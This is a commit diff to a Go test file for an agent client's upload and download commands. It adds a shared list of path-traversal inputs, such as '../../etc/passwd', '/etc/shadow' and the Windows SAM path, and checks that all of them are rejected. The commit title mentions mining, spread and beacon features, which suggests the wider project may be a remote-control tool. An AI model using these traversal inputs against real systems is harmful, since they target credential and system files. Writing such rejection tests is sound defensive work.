Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/client/client_upload_test.go

@@ -2,6 +2,8 @@ package client
 
 import (
 	"encoding/base64"
+	"os"
+	"path/filepath"
 	"strings"
 	"sync"
 	"testing"
@@ -32,18 +34,27 @@ func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, r
 	return ch, out
 }
 
+// traversalPaths lists every variant that must be rejected by upload/download.
+var traversalPaths = []struct {
+	name string
+	path string
+}{
+	{name: "unix_relative", path: "../../etc/passwd"},
+	{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
+	{name: "embedded_traversal", path: "uploads/../../outside.txt"},
+	{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
+	{name: "dotdot_only", path: ".."},
+	{name: "mixed_separators", path: `foo\..\bar\..\..\secret`},
+	{name: "tilde_traversal", path: "~/../../etc/passwd"},
+	{name: "desktop_prefix_traversal", path: "@desktop/../../outside.txt"},
+	{name: "desktop_colon_traversal", path: "desktop:../../payload.bin"},
+	{name: "midpath_dotdot", path: "safe/inner/../../../etc/shadow"},
+}
+
 func TestUploadCommandRejectsPathTraversal(t *testing.T) {
 	data := base64.StdEncoding.EncodeToString([]byte("payload"))
 
-	cases := []struct {
-		name string
-		path string
-	}{
-		{name: "unix_relative", path: "../../etc/passwd"},
-		{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
-		{name: "embedded_traversal", path: "uploads/../../outside.txt"},
-		{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
-	}
+	cases := traversalPaths
 
 	for _, tc := range cases {
 		t.Run(tc.name, func(t *testing.T) {
@@ -75,15 +86,7 @@ func TestUploadCommandRejectsPathTraversal(t *testing.T) {
 
 
 func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
-	cases := []struct {
-		name string
-		path string
-	}{
-		{name: "unix_relative", path: "../../etc/passwd"},
-		{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
-		{name: "embedded_traversal", path: "uploads/../../outside.txt"},
-		{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
-	}
+	cases := traversalPaths
 
 	for _, tc := range cases {
 		t.Run(tc.name, func(t *testing.T) {
@@ -112,6 +115,40 @@ func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
 		})
 	}
 }
+func TestUploadCommandRejectsInvalidBase64(t *testing.T) {
+	c := newTestClient(t)
+	done, got := captureCommandResult(t, c)
+	c.handleCommand("upload", 0, "", "notes.txt", "not-valid-base64!!!", "")
+	<-done
+	if got.success {
+		t.Fatalf("expected base64 failure, got %q", got.message)
+	}
+	if !strings.Contains(got.message, "invalid base64") {
+		t.Fatalf("message=%q", got.message)
+	}
+}
+
+func TestDownloadCommandReadsSafeFile(t *testing.T) {
+	dir := t.TempDir()
+	src := filepath.Join(dir, "payload.bin")
+	content := []byte("download-me")
+	if err := os.WriteFile(src, content, 0644); err != nil {
+		t.Fatal(err)
+	}
+	data := base64.StdEncoding.EncodeToString(content)
+
+	c := newTestClient(t)
+	done, got := captureCommandResult(t, c)
+	c.handleCommand("download", 0, "", src, "", "")
+	<-done
+	if !got.success {
+		t.Fatalf("download failed: %s", got.message)
+	}
+	if got.message != data {
+		t.Fatalf("encoded mismatch: got len=%d want len=%d", len(got.message), len(data))
+	}
+}
+
 func TestUploadCommandAcceptsSafePath(t *testing.T) {
 	dir := t.TempDir()
 	dest := dir + "/notes.txt"